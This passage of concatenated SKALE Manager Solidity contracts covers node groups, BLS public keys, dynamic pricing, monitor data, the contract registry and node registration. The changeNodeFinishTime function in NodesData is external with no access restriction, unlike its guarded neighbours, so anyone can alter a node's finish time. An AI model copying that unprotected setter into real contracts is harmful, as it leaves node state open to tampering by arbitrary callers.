Groups data, will be inherited by * SchainsData and ValidatorsData. */ contract GroupsData is IGroupsData, Permissions { // struct to note which Node has already joined to the group struct GroupCheck { mapping (uint => bool) check; } struct Group { bool active; bytes32 groupData; uint[] nodesInGroup; uint recommendedNumberOfNodes; // BLS master public key uint[4] groupsPublicKey; bool succesfulDKG; } // contain all groups mapping (bytes32 => Group) public groups; // past groups common BLS public keys mapping (bytes32 => uint[4][]) public previousPublicKeys; // mapping for checking Has Node already joined to the group mapping (bytes32 => GroupCheck) exceptions; // name of executor contract string executorName; /** * @dev addGroup - creates and adds new Group to mapping * function could be run only by executor * @param groupIndex - Groups identifier * @param amountOfNodes - recommended number of Nodes in this Group * @param data - some extra data */ function addGroup(bytes32 groupIndex, uint amountOfNodes, bytes32 data) external allow(executorName) { groups[groupIndex].active = true; groups[groupIndex].recommendedNumberOfNodes = amountOfNodes; groups[groupIndex].groupData = data; // Open channel in SkaleDKG address skaleDKGAddress = contractManager.getContract("SkaleDKG"); ISkaleDKG(skaleDKGAddress).openChannel(groupIndex); } /** * @dev setException - sets a Node like exception * function could be run only by executor * @param groupIndex - Groups identifier * @param nodeIndex - index of Node which would be notes like exception */ function setException(bytes32 groupIndex, uint nodeIndex) external allow(executorName) { exceptions[groupIndex].check[nodeIndex] = true; } /** * @dev setPublicKey - sets BLS master public key * function could be run only by SkaleDKG * @param groupIndex - Groups identifier * @param publicKeyx1 } * @param publicKeyy1 } parts of BLS master public key * @param publicKeyx2 } * @param publicKeyy2 } */ function setPublicKey( bytes32 groupIndex, uint publicKeyx1, uint publicKeyy1, uint publicKeyx2, uint publicKeyy2) external allow("SkaleDKG") { if (!isPublicKeyZero(groupIndex)) { uint[4] memory previousKey = groups[groupIndex].groupsPublicKey; previousPublicKeys[groupIndex].push(previousKey); } groups[groupIndex].groupsPublicKey[0] = publicKeyx1; groups[groupIndex].groupsPublicKey[1] = publicKeyy1; groups[groupIndex].groupsPublicKey[2] = publicKeyx2; groups[groupIndex].groupsPublicKey[3] = publicKeyy2; } /** * @dev setNodeInGroup - adds Node to Group * function could be run only by executor * @param groupIndex - Groups identifier * @param nodeIndex - index of Node which would be added to the Group */ function setNodeInGroup(bytes32 groupIndex, uint nodeIndex) external allow(executorName) { groups[groupIndex].nodesInGroup.push(nodeIndex); } /** * @dev removeNodeFromGroup - removes Node out of the Group * function could be run only by executor * @param indexOfNode - Nodes identifier * @param groupIndex - Groups identifier */ function removeNodeFromGroup(uint indexOfNode, bytes32 groupIndex) external allow(executorName) { uint size = groups[groupIndex].nodesInGroup.length; if (indexOfNode < size) { groups[groupIndex].nodesInGroup[indexOfNode] = groups[groupIndex].nodesInGroup[size - 1]; } delete groups[groupIndex].nodesInGroup[size - 1]; groups[groupIndex].nodesInGroup.length--; } /** * @dev removeAllNodesInGroup - removes all added Nodes out the Group * function could be run only by executor * @param groupIndex - Groups identifier */ function removeAllNodesInGroup(bytes32 groupIndex) external allow(executorName) { delete groups[groupIndex].nodesInGroup; groups[groupIndex].nodesInGroup.length = 0; } /** * @dev setNodesInGroup - adds Nodes to Group * function could be run only by executor * @param groupIndex - Groups identifier * @param nodesInGroup - array of indexes of Nodes which would be added to the Group */ function setNodesInGroup(bytes32 groupIndex, uint[] calldata nodesInGroup) external allow(executorName) { groups[groupIndex].nodesInGroup = nodesInGroup; } function setGroupFailedDKG(bytes32 groupIndex) external allow("SkaleDKG") { groups[groupIndex].succesfulDKG = false; } /** * @dev removeGroup - remove Group from storage * function could be run only be executor * @param groupIndex - Groups identifier */ function removeGroup(bytes32 groupIndex) external allow(executorName) { groups[groupIndex].active = false; delete groups[groupIndex].groupData; delete groups[groupIndex].recommendedNumberOfNodes; uint[4] memory previousKey = groups[groupIndex].groupsPublicKey; previousPublicKeys[groupIndex].push(previousKey); delete groups[groupIndex].groupsPublicKey; delete groups[groupIndex]; // delete channel address skaleDKGAddress = contractManager.getContract("SkaleDKG"); if (ISkaleDKG(skaleDKGAddress).isChannelOpened(groupIndex)) { ISkaleDKG(skaleDKGAddress).deleteChannel(groupIndex); } } /** * @dev removeExceptionNode - remove exception Node from Group * function could be run only by executor * @param groupIndex - Groups identifier */ function removeExceptionNode(bytes32 groupIndex, uint nodeIndex) external allow(executorName) { exceptions[groupIndex].check[nodeIndex] = false; } /** * @dev isGroupActive - checks is Group active * @param groupIndex - Groups identifier * @return true - active, false - not active */ function isGroupActive(bytes32 groupIndex) external view returns (bool) { return groups[groupIndex].active; } /** * @dev isExceptionNode - checks is Node - exception at given Group * @param groupIndex - Groups identifier * @param nodeIndex - index of Node * return true - exception, false - not exception */ function isExceptionNode(bytes32 groupIndex, uint nodeIndex) external view returns (bool) { return exceptions[groupIndex].check[nodeIndex]; } /** * @dev getGroupsPublicKey - shows Groups public key * @param groupIndex - Groups identifier * @return publicKey(x1, y1, x2, y2) - parts of BLS master public key */ function getGroupsPublicKey(bytes32 groupIndex) external view returns (uint, uint, uint, uint) { return ( groups[groupIndex].groupsPublicKey[0], groups[groupIndex].groupsPublicKey[1], groups[groupIndex].groupsPublicKey[2], groups[groupIndex].groupsPublicKey[3] ); } function getPreviousGroupsPublicKey(bytes32 groupIndex) external view returns (uint, uint, uint, uint) { uint length = previousPublicKeys[groupIndex].length; if (length == 0) { return (0, 0, 0, 0); } return ( previousPublicKeys[groupIndex][length - 1][0], previousPublicKeys[groupIndex][length - 1][1], previousPublicKeys[groupIndex][length - 1][2], previousPublicKeys[groupIndex][length - 1][3] ); } function isGroupFailedDKG(bytes32 groupIndex) external view returns (bool) { return !groups[groupIndex].succesfulDKG; } /** * @dev getNodesInGroup - shows Nodes in Group * @param groupIndex - Groups identifier * @return array of indexes of Nodes in Group */ function getNodesInGroup(bytes32 groupIndex) external view returns (uint[] memory) { return groups[groupIndex].nodesInGroup; } /** * @dev getGroupsData - shows Groups extra data * @param groupIndex - Groups identifier * @return Groups extra data */ function getGroupData(bytes32 groupIndex) external view returns (bytes32) { return groups[groupIndex].groupData; } /** * @dev getRecommendedNumberOfNodes - shows recommended number of Nodes * @param groupIndex - Groups identifier * @return recommended number of Nodes */ function getRecommendedNumberOfNodes(bytes32 groupIndex) external view returns (uint) { return groups[groupIndex].recommendedNumberOfNodes; } /** * @dev getNumberOfNodesInGroup - shows number of Nodes in Group * @param groupIndex - Groups identifier * @return number of Nodes in Group */ function getNumberOfNodesInGroup(bytes32 groupIndex) external view returns (uint) { return groups[groupIndex].nodesInGroup.length; } /** * @dev constructor in Permissions approach * @param newExecutorName - name of executor contract * @param newContractsAddress needed in Permissions constructor */ function initialize(string memory newExecutorName, address newContractsAddress) public initializer { Permissions.initialize(newContractsAddress); executorName = newExecutorName; } function isPublicKeyZero(bytes32 groupIndex) internal view returns (bool) { return groups[groupIndex].groupsPublicKey[0] == 0 && groups[groupIndex].groupsPublicKey[1] == 0 && groups[groupIndex].groupsPublicKey[2] == 0 && groups[groupIndex].groupsPublicKey[3] == 0; } } /* Pricing.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.5.16; import "./Permissions.sol"; import "./interfaces/IGroupsData.sol"; import "./interfaces/INodesData.sol"; import "./SchainsData.sol"; contract Pricing is Permissions { uint public constant OPTIMAL_LOAD_PERCENTAGE = 80; uint public constant ADJUSTMENT_SPEED = 1000; uint public constant COOLDOWN_TIME = 60; uint public constant MIN_PRICE = 10**6; uint public price; uint public totalNodes; uint lastUpdated; function initNodes() external { address nodesDataAddress = contractManager.getContract("NodesData"); totalNodes = INodesData(nodesDataAddress).getNumberOnlineNodes(); } function adjustPrice() external { require(now > lastUpdated.add(COOLDOWN_TIME), "It's not a time to update a price"); checkAllNodes(); uint loadPercentage = getTotalLoadPercentage(); uint priceChange; uint timeSkipped; if (loadPercentage < OPTIMAL_LOAD_PERCENTAGE) { priceChange = (ADJUSTMENT_SPEED.mul(price)).mul((OPTIMAL_LOAD_PERCENTAGE.sub(loadPercentage))) / 10**6; timeSkipped = (now.sub(lastUpdated)).div(COOLDOWN_TIME); price = price.sub(priceChange.mul(timeSkipped)); if (price < MIN_PRICE) { price = MIN_PRICE; } } else { priceChange = (ADJUSTMENT_SPEED.mul(price)).mul((loadPercentage.sub(OPTIMAL_LOAD_PERCENTAGE))) / 10**6; timeSkipped = (now.sub(lastUpdated)).div(COOLDOWN_TIME); require(price.add(priceChange.mul(timeSkipped)) > price, "New price should be greater than old price"); price = price.add(priceChange.mul(timeSkipped)); } lastUpdated = now; } function initialize(address newContractsAddress) public initializer { Permissions.initialize(newContractsAddress); lastUpdated = now; price = 5*10**6; } function checkAllNodes() public { address nodesDataAddress = contractManager.getContract("NodesData"); uint numberOfActiveNodes = INodesData(nodesDataAddress).getNumberOnlineNodes(); require(totalNodes != numberOfActiveNodes, "No any changes on nodes"); totalNodes = numberOfActiveNodes; } function getTotalLoadPercentage() public view returns (uint) { address schainsDataAddress = contractManager.getContract("SchainsData"); uint64 numberOfSchains = SchainsData(schainsDataAddress).numberOfSchains(); address nodesDataAddress = contractManager.getContract("NodesData"); uint numberOfNodes = INodesData(nodesDataAddress).getNumberOnlineNodes(); uint sumLoadSchain = 0; for (uint i = 0; i < numberOfSchains; i++) { bytes32 schain = SchainsData(schainsDataAddress).schainsAtSystem(i); uint numberOfNodesInGroup = IGroupsData(schainsDataAddress).getNumberOfNodesInGroup(schain); uint part = SchainsData(schainsDataAddress).getSchainsPartOfNode(schain); sumLoadSchain = sumLoadSchain.add((numberOfNodesInGroup*10**7).div(part)); } return uint(sumLoadSchain.div(10**5*numberOfNodes)); } } /* MonitorsData.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.5.16; import "./GroupsData.sol"; contract MonitorsData is GroupsData { struct Metrics { uint32 downtime; uint32 latency; } struct Monitor { uint nodeIndex; bytes32[] checkedNodes; Metrics[] verdicts; } mapping (bytes32 => bytes32[]) public checkedNodes; mapping (bytes32 => uint32[][]) public verdicts; /** * Add checked node or update existing one if it is already exits */ function addCheckedNode(bytes32 monitorIndex, bytes32 data) external allow(executorName) { uint indexLength = 14; require(data.length >= indexLength, "data is too small"); for (uint i = 0; i < checkedNodes[monitorIndex].length; ++i) { require(checkedNodes[monitorIndex][i].length >= indexLength, "checked nodes data is too small"); uint shift = (32 - indexLength).mul(8); bool equalIndex = checkedNodes[monitorIndex][i] >> shift == data >> shift; if (equalIndex) { checkedNodes[monitorIndex][i] = data; return; } } checkedNodes[monitorIndex].push(data); } function addVerdict(bytes32 monitorIndex, uint32 downtime, uint32 latency) external allow(executorName) { verdicts[monitorIndex].push([downtime, latency]); } function removeCheckedNode(bytes32 monitorIndex, uint indexOfCheckedNode) external allow(executorName) { if (indexOfCheckedNode != checkedNodes[monitorIndex].length - 1) { checkedNodes[monitorIndex][indexOfCheckedNode] = checkedNodes[monitorIndex][checkedNodes[monitorIndex].length - 1]; } delete checkedNodes[monitorIndex][checkedNodes[monitorIndex].length - 1]; checkedNodes[monitorIndex].length--; } function removeAllCheckedNodes(bytes32 monitorIndex) external allow(executorName) { delete checkedNodes[monitorIndex]; } function removeAllVerdicts(bytes32 monitorIndex) external allow(executorName) { verdicts[monitorIndex].length = 0; } function getCheckedArray(bytes32 monitorIndex) external view returns (bytes32[] memory) { return checkedNodes[monitorIndex]; } function getCheckedArrayLength(bytes32 monitorIndex) external view returns (uint) { return checkedNodes[monitorIndex].length; } function getLengthOfMetrics(bytes32 monitorIndex) external view returns (uint) { return verdicts[monitorIndex].length; } function initialize(address newContractsAddress) public initializer { GroupsData.initialize("MonitorsFunctionality", newContractsAddress); } } /* ContractManager.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.5.16; import "@openzeppelin/contracts-ethereum-package/contracts/ownership/Ownable.sol"; import "@openzeppelin/upgrades/contracts/Initializable.sol"; import "./utils/StringUtils.sol"; /** * @title Main contract in upgradeable approach. This contract contains the actual * current mapping from contract IDs (in the form of human-readable strings) to addresses. * @author Artem Payvin */ contract ContractManager is Initializable, Ownable { using StringUtils for string; // mapping of actual smart contracts addresses mapping (bytes32 => address) public contracts; event ContractUpgraded(string contractsName, address contractsAddress); function initialize() external initializer { Ownable.initialize(msg.sender); } /** * Adds actual contract to mapping of actual contract addresses * @param contractsName - contracts name in skale manager system * @param newContractsAddress - contracts address in skale manager system */ function setContractsAddress(string calldata contractsName, address newContractsAddress) external onlyOwner { // check newContractsAddress is not equal to zero require(newContractsAddress != address(0), "New address is equal zero"); // create hash of contractsName bytes32 contractId = keccak256(abi.encodePacked(contractsName)); // check newContractsAddress is not equal the previous contract's address require(contracts[contractId] != newContractsAddress, "Contract is already added"); uint length; assembly { length := extcodesize(newContractsAddress) } // check newContractsAddress contains code require(length > 0, "Given contracts address does not contain code"); // add newContractsAddress to mapping of actual contract addresses contracts[contractId] = newContractsAddress; emit ContractUpgraded(contractsName, newContractsAddress); } function getContract(string calldata name) external view returns (address contractAddress) { contractAddress = contracts[keccak256(abi.encodePacked(name))]; require(contractAddress != address(0), name.strConcat(" contract has not been found")); } } /* NodesFunctionality.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.5.16; import "./Permissions.sol"; import "./interfaces/IConstants.sol"; import "./interfaces/INodesData.sol"; import "./interfaces/INodesFunctionality.sol"; import "./delegation/ValidatorService.sol"; import "./NodesData.sol"; /** * @title NodesFunctionality - contract contains all functionality logic to manage Nodes */ contract NodesFunctionality is Permissions, INodesFunctionality { // informs that Node is created event NodeCreated( uint nodeIndex, address owner, string name, bytes4 ip, bytes4 publicIP, uint16 port, uint16 nonce, uint32 time, uint gasSpend ); // informs that node is fully finished quitting from the system event ExitCompleted( uint nodeIndex, address owner, uint32 time, uint gasSpend ); // informs that owner starts the procedure of quitting the Node from the system event ExitInited( uint nodeIndex, address owner, uint32 startLeavingPeriod, uint32 time, uint gasSpend ); /** * @dev createNode - creates new Node and add it to the NodesData contract * function could be only run by SkaleManager * @param from - owner of Node * @param data - Node's data * @return nodeIndex - index of Node */ function createNode(address from, bytes calldata data) external allow("SkaleManager") returns (uint nodeIndex) { address nodesDataAddress = contractManager.getContract("NodesData"); uint16 nonce; bytes4 ip; bytes4 publicIP; uint16 port; string memory name; bytes memory publicKey; // decode data from the bytes (port, nonce, ip, publicIP) = fallbackDataConverter(data); (publicKey, name) = fallbackDataConverterPublicKeyAndName(data); // checks that Node has correct data require(ip != 0x0 && !INodesData(nodesDataAddress).nodesIPCheck(ip), "IP address is zero or is not available"); require(!INodesData(nodesDataAddress).nodesNameCheck(keccak256(abi.encodePacked(name))), "Name has already registered"); require(port > 0, "Port is zero"); uint validatorId = ValidatorService(contractManager.getContract("ValidatorService")).getValidatorIdByNodeAddress(from); // adds Node to NodesData contract nodeIndex = INodesData(nodesDataAddress).addNode( from, name, ip, publicIP, port, publicKey, validatorId); // adds Node to Fractional Nodes or to Full Nodes // setNodeType(nodesDataAddress, constantsAddress, nodeIndex); emit NodeCreated( nodeIndex, from, name, ip, publicIP, port, nonce, uint32(block.timestamp), gasleft()); } /** * @dev removeNode - delete Node * function could be only run by SkaleManager * @param from - owner of Node * @param nodeIndex - index of Node */ function removeNode(address from, uint nodeIndex) external allow("SkaleManager") { address nodesDataAddress = contractManager.getContract("NodesData"); require(INodesData(nodesDataAddress).isNodeExist(from, nodeIndex), "Node does not exist for message sender"); require(INodesData(nodesDataAddress).isNodeActive(nodeIndex), "Node is not Active"); INodesData(nodesDataAddress).setNodeLeft(nodeIndex); INodesData(nodesDataAddress).removeNode(nodeIndex); } function removeNodeByRoot(uint nodeIndex) external allow("SkaleManager") { address nodesDataAddress = contractManager.getContract("NodesData"); INodesData(nodesDataAddress).setNodeLeft(nodeIndex); INodesData(nodesDataAddress).removeNode(nodeIndex); } /** * @dev initExit - initiate a procedure of quitting the system * function could be only run by SkaleManager * @param from - owner of Node * @param nodeIndex - index of Node * @return true - if everything OK */ function initExit(address from, uint nodeIndex) external allow("SkaleManager") returns (bool) { NodesData nodesData = NodesData(contractManager.getContract("NodesData")); require(nodesData.isNodeExist(from, nodeIndex), "Node does not exist for message sender"); nodesData.setNodeLeaving(nodeIndex); emit ExitInited( nodeIndex, from, uint32(block.timestamp), uint32(block.timestamp), gasleft()); return true; } /** * @dev completeExit - finish a procedure of quitting the system * function could be run only by SkaleMManager * @param from - owner of Node * @param nodeIndex - index of Node * @return amount of SKL which be returned */ function completeExit(address from, uint nodeIndex) external allow("SkaleManager") returns (bool) { NodesData nodesData = NodesData(contractManager.getContract("NodesData")); require(nodesData.isNodeExist(from, nodeIndex), "Node does not exist for message sender"); require(nodesData.isNodeLeaving(nodeIndex), "Node is not Leaving"); nodesData.setNodeLeft(nodeIndex); nodesData.removeNode(nodeIndex); emit ExitCompleted( nodeIndex, from, uint32(block.timestamp), gasleft()); return true; } /** * @dev constructor in Permissions approach * @param _contractsAddress needed in Permissions constructor */ function initialize(address _contractsAddress) public initializer { Permissions.initialize(_contractsAddress); } /** * @dev fallbackDataConverter - converts data from bytes to normal parameters * @param data - concatenated parameters * @return port * @return nonce * @return ip address * @return public ip address */ function fallbackDataConverter(bytes memory data) private pure returns (uint16, uint16, bytes4, bytes4 /*address secondAddress,*/) { require(data.length > 77, "Incorrect bytes data config"); bytes4 ip; bytes4 publicIP; bytes2 portInBytes; bytes2 nonceInBytes; assembly { portInBytes := mload(add(data, 33)) // 0x21 nonceInBytes := mload(add(data, 35)) // 0x25 ip := mload(add(data, 37)) // 0x29 publicIP := mload(add(data, 41)) } return (uint16(portInBytes), uint16(nonceInBytes), ip, publicIP); } /** * @dev fallbackDataConverterPublicKeyAndName - converts data from bytes to public key and name * @param data - concatenated public key and name * @return public key * @return name of Node */ function fallbackDataConverterPublicKeyAndName(bytes memory data) private pure returns (bytes memory, string memory) { require(data.length > 77, "Incorrect bytes data config"); bytes32 firstPartPublicKey; bytes32 secondPartPublicKey; bytes memory publicKey = new bytes(64); // convert public key assembly { firstPartPublicKey := mload(add(data, 45)) secondPartPublicKey := mload(add(data, 77)) } for (uint8 i = 0; i < 32; i++) { publicKey[i] = firstPartPublicKey[i]; } for (uint8 i = 0; i < 32; i++) { publicKey[i + 32] = secondPartPublicKey[i]; } // convert name string memory name = new string(data.length - 77); for (uint i = 0; i < bytes(name).length; ++i) { bytes(name)[i] = data[77 + i]; } return (publicKey, name); } } /* NodesData.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.5.16; import "./Permissions.sol"; import "./interfaces/IConstants.sol"; import "./interfaces/INodesData.sol"; /** * @title NodesData - Data contract for NodesFunctionality */ contract NodesData is INodesData, Permissions { // All Nodes states enum NodeStatus {Active, Leaving, Left} struct Node { string name; bytes4 ip; bytes4 publicIP; uint16 port; bytes publicKey; uint startBlock; uint32 lastRewardDate; // uint8 freeSpace; // uint indexInSpaceMap; //address secondAddress; uint32 finishTime; NodeStatus status; uint validatorId; } // struct to note which Nodes and which number of Nodes owned by user struct CreatedNodes { mapping (uint => bool) isNodeExist; uint numberOfNodes; } struct SpaceManaging { uint8 freeSpace; uint indexInSpaceMap; } // array which contain all Nodes Node[] public nodes; SpaceManaging[] public spaceOfNodes; // mapping for checking which Nodes and which number of Nodes owned by user mapping (address => CreatedNodes) public nodeIndexes; // mapping for checking is IP address busy mapping (bytes4 => bool) public nodesIPCheck; // mapping for checking is Name busy mapping (bytes32 => bool) public nodesNameCheck; // mapping for indication from Name to Index mapping (bytes32 => uint) public nodesNameToIndex; // mapping for indication from space to Nodes mapping (uint8 => uint[]) public spaceToNodes; uint public numberOfActiveNodes; uint public numberOfLeavingNodes; uint public numberOfLeftNodes; function getNodesWithFreeSpace(uint8 freeSpace) external view returns (uint[] memory) { uint[] memory nodesWithFreeSpace = new uint[](this.countNodesWithFreeSpace(freeSpace)); uint cursor = 0; for (uint8 i = freeSpace; i <= 128; ++i) { for (uint j = 0; j < spaceToNodes[i].length; j++) { nodesWithFreeSpace[cursor] = spaceToNodes[i][j]; ++cursor; } } return nodesWithFreeSpace; } function countNodesWithFreeSpace(uint8 freeSpace) external view returns (uint count) { count = 0; for (uint8 i = freeSpace; i <= 128; ++i) { count = count.add(spaceToNodes[i].length); } } /** * @dev addNode - adds Node to array * function could be run only by executor * @param from - owner of Node * @param name - Node name * @param ip - Node ip * @param publicIP - Node public ip * @param port - Node public port * @param publicKey - Ethereum public key * @return index of Node */ function addNode( address from, string calldata name, bytes4 ip, bytes4 publicIP, uint16 port, bytes calldata publicKey, uint validatorId ) external allow("NodesFunctionality") returns (uint nodeIndex) { nodes.push(Node({ name: name, ip: ip, publicIP: publicIP, port: port, //owner: from, publicKey: publicKey, startBlock: block.number, lastRewardDate: uint32(block.timestamp), finishTime: 0, status: NodeStatus.Active, validatorId: validatorId })); nodeIndex = nodes.length - 1; bytes32 nodeId = keccak256(abi.encodePacked(name)); nodesIPCheck[ip] = true; nodesNameCheck[nodeId] = true; nodesNameToIndex[nodeId] = nodeIndex; nodeIndexes[from].isNodeExist[nodeIndex] = true; nodeIndexes[from].numberOfNodes++; spaceOfNodes.push(SpaceManaging({ freeSpace: 128, indexInSpaceMap: spaceToNodes[128].length })); spaceToNodes[128].push(nodeIndex); numberOfActiveNodes++; } /** * @dev setNodeLeaving - set Node Leaving * function could be run only by NodesFunctionality * @param nodeIndex - index of Node */ function setNodeLeaving(uint nodeIndex) external allow("NodesFunctionality") { nodes[nodeIndex].status = NodeStatus.Leaving; numberOfActiveNodes--; numberOfLeavingNodes++; } /** * @dev setNodeLeft - set Node Left * function could be run only by NodesFunctionality * @param nodeIndex - index of Node */ function setNodeLeft(uint nodeIndex) external allow("NodesFunctionality") { nodesIPCheck[nodes[nodeIndex].ip] = false; nodesNameCheck[keccak256(abi.encodePacked(nodes[nodeIndex].name))] = false; // address ownerOfNode = nodes[nodeIndex].owner; // nodeIndexes[ownerOfNode].isNodeExist[nodeIndex] = false; // nodeIndexes[ownerOfNode].numberOfNodes--; delete nodesNameToIndex[keccak256(abi.encodePacked(nodes[nodeIndex].name))]; if (nodes[nodeIndex].status == NodeStatus.Active) { numberOfActiveNodes--; } else { numberOfLeavingNodes--; } nodes[nodeIndex].status = NodeStatus.Left; numberOfLeftNodes++; } function removeNode(uint nodeIndex) external allow("NodesFunctionality") { uint8 space = spaceOfNodes[nodeIndex].freeSpace; uint indexInArray = spaceOfNodes[nodeIndex].indexInSpaceMap; if (indexInArray < spaceToNodes[space].length - 1) { uint shiftedIndex = spaceToNodes[space][spaceToNodes[space].length - 1]; spaceToNodes[space][indexInArray] = shiftedIndex; spaceOfNodes[shiftedIndex].indexInSpaceMap = indexInArray; spaceToNodes[space].length--; } else { spaceToNodes[space].length--; } delete spaceOfNodes[nodeIndex].freeSpace; delete spaceOfNodes[nodeIndex].indexInSpaceMap; } /** * @dev removeSpaceFromFractionalNode - occupies space from Fractional Node * function could be run only by SchainsFunctionality * @param nodeIndex - index of Node at array of Fractional Nodes * @param space - space which should be occupied */ function removeSpaceFromNode(uint nodeIndex, uint8 space) external allow("SchainsFunctionalityInternal") returns (bool) { if (spaceOfNodes[nodeIndex].freeSpace < space) { return false; } if (space > 0) { moveNodeToNewSpaceMap( nodeIndex, spaceOfNodes[nodeIndex].freeSpace - space ); } return true; } /** * @dev adSpaceToFractionalNode - returns space to Fractional Node * function could be run only be SchainsFunctionality * @param nodeIndex - index of Node at array of Fractional Nodes * @param space - space which should be returned */ function addSpaceToNode(uint nodeIndex, uint8 space) external allow("SchainsFunctionality") { if (space > 0) { moveNodeToNewSpaceMap( nodeIndex, spaceOfNodes[nodeIndex].freeSpace + space ); } } /** * @dev changeNodeLastRewardDate - changes Node's last reward date * function could be run only by SkaleManager * @param nodeIndex - index of Node */ function changeNodeLastRewardDate(uint nodeIndex) external allow("SkaleManager") { nodes[nodeIndex].lastRewardDate = uint32(block.timestamp); } function changeNodeFinishTime(uint nodeIndex, uint32 time) external { nodes[nodeIndex].finishTime = time; } /** * @dev isNodeExist - checks existence of Node at this address * @param from - account address * @param nodeIndex - index of Node * @return if exist - true, else - false */ function isNodeExist(address from, uint nodeIndex) external view returns (bool) { return nodeIndexes[from].isNodeExist[nodeIndex]; } /** * @dev isTimeForReward - checks if time for reward has come * @param nodeIndex - index of Node * @return if time for reward has come - true, else - false */ function isTimeForReward(uint nodeIndex) external view returns (bool) { address constantsAddress = contractManager.getContract("ConstantsHolder"); return nodes[nodeIndex].lastRewardDate.add(IConstants(constantsAddress).rewardPeriod()) <= block.timestamp; } /** * @dev getNodeIP - get ip address of Node * @param nodeIndex - index of Node * @return ip address */ function getNodeIP(uint nodeIndex) external view returns (bytes4) { return nodes[nodeIndex].ip; } /** * @dev getNodePort - get Node's port * @param nodeIndex - index of Node * @return port */ function getNodePort(uint nodeIndex) external view returns (uint16) { return nodes[nodeIndex].port; } function getNodePublicKey(uint nodeIndex) external view returns (bytes memory) { return nodes[nodeIndex].publicKey; } function getNodeValidatorId(uint nodeIndex) external view returns (uint) { return nodes[nodeIndex].validatorId; } function getNodeFinishTime(uint nodeIndex) external view returns (uint32) { return nodes[nodeIndex].finishTime; } /** * @dev isNodeLeaving - checks if Node status Leaving * @param nodeIndex - index of Node * @return if Node status Leaving - true, else - false */ function isNodeLeaving(uint nodeIndex) external view returns (bool) { return nodes[nodeIndex].status == NodeStatus.Leaving; } /** * @dev isNodeLeft - checks if Node status Left * @param nodeIndex - index of Node * @return if Node status Left - true, else - false */ function isNodeLeft(uint nodeIndex) external view returns (bool) { return nodes[nodeIndex].status == NodeStatus.Left; } /** * @dev getNodeLastRewardDate - get Node last reward date * @param nodeIndex - index of Node * @return Node last reward date */ function getNodeLastRewardDate(uint nodeIndex) external view returns (uint32) { return nodes[nodeIndex].lastRewardDate; } /** * @dev getNodeNextRewardDate - get Node next reward date * @param nodeIndex - index of Node * @return Node next reward date */ function getNodeNextRewardDate(uint nodeIndex) external view returns (uint32) { address constantsAddress = contractManager.getContract("ConstantsHolder"); return nodes[nodeIndex].lastRewardDate + IConstants(constantsAddress).rewardPeriod(); } /** * @dev getNumberOfNodes - get number of Nodes * @return number of Nodes */ function getNumberOfNodes() external view returns (uint) { return nodes.length; } /** * @dev getNumberOfFullNodes - get number Online Nodes * @return number of active nodes plus number of leaving nodes */ function getNumberOnlineNodes() external view returns (uint) { return numberOfActiveNodes.add(numberOfLeavingNodes); } /** * @dev getActiveNodeIPs - get array of ips of Active Nodes * @return activeNodeIPs - array of ips of Active Nodes */ function getActiveNodeIPs() external view returns (bytes4[] memory activeNodeIPs) { activeNodeIPs = new bytes4[](numberOfActiveNodes); uint indexOfActiveNodeIPs = 0; for (uint indexOfNodes = 0; indexOfNodes < nodes.length; indexOfNodes++) { if (isNodeActive(indexOfNodes)) { activeNodeIPs[indexOfActiveNodeIPs] = nodes[indexOfNodes].ip; indexOfActiveNodeIPs++; } } } /** * @dev getActiveNodesByAddress - get array of indexes of Active Nodes, which were * created by msg.sender * @return activeNodesbyAddress - array of indexes of Active Nodes, which were created * by msg.sender */ function getActiveNodesByAddress() external view returns (uint[] memory activeNodesByAddress) { activeNodesByAddress = new uint[](nodeIndexes[msg.sender].numberOfNodes); uint indexOfActiveNodesByAddress = 0; for (uint indexOfNodes = 0; indexOfNodes < nodes.length; indexOfNodes++) { if (nodeIndexes[msg.sender].isNodeExist[indexOfNodes] && isNodeActive(indexOfNodes)) { activeNodesByAddress[indexOfActiveNodesByAddress] = indexOfNodes; indexOfActiveNodesByAddress++; } } } /** * @dev 